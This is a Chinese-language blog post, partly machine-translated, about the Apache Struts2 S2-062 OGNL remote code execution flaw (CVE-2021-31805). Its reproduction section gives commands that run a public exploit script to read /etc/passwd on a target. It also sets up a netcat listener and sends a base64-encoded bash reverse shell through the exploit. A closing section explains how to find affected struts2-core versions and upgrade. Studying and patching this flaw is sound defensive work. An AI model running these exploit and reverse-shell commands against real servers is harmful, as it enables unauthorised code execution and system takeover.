Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell

破绽描绘

Apache官方发布了Apache Struts 2的风险通告,破绽编号为CVE-2021-31805。该破绽是由于Apache对之前破绽 CVE-2020-17530的修复不完好形成的,是之前修复的绕过。这招致一些标签属性依然能够执行 OGNL 表达式,攻击者应用该破绽能够结构歹意数据,远程执行恣意代码。

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它应用并延伸了Java Servlet API,鼓舞开发者采用MVC架构。
 


 

影响范围

2.0.0 <= Apache Struts2 <= 2.5.29
 


 

破绽复现

破绽考证脚本

https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"

图片[1]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami

图片[2]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id

图片[3]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

反弹Shell

NC开启端口监听

nc -lvvp 8081

图片[4]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

结构base64编码反弹shell脚本,应用如下网站生成:https://ir0ny.top/pentest/reverse-encoder-shell.html

图片[5]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区
 

获取Shell

python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"

图片[6]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

 

胜利获取Shell

图片[7]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

 


 

处理计划

1 如何检测组件系统版本

计划一

全盘搜索 struts2-core,假如存在 struts2-core-{version}.jar,且所运用的版本号在受影响范围内:

图片[8]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

则用户可能受破绽影响。

计划二

假如项目是由 maven 编译的(普通在项目根目录下会有 pom.xml)

图片[9]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

翻开 pom.xml 文件,如图:

图片[10]-Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell-孤勇者社区

在此文件中搜索 struts2-core,假如能够搜索到如下关键字,且所运用的版本号在受影响范围内,则可能受该破绽影响。

<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-core</artifactId>
  <version>2.5.29</version>
</dependency>

2 官方修复倡议

当前官方已发布最新版本,倡议受影响的用户及时更新晋级到最新版本。链接如下:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像王机0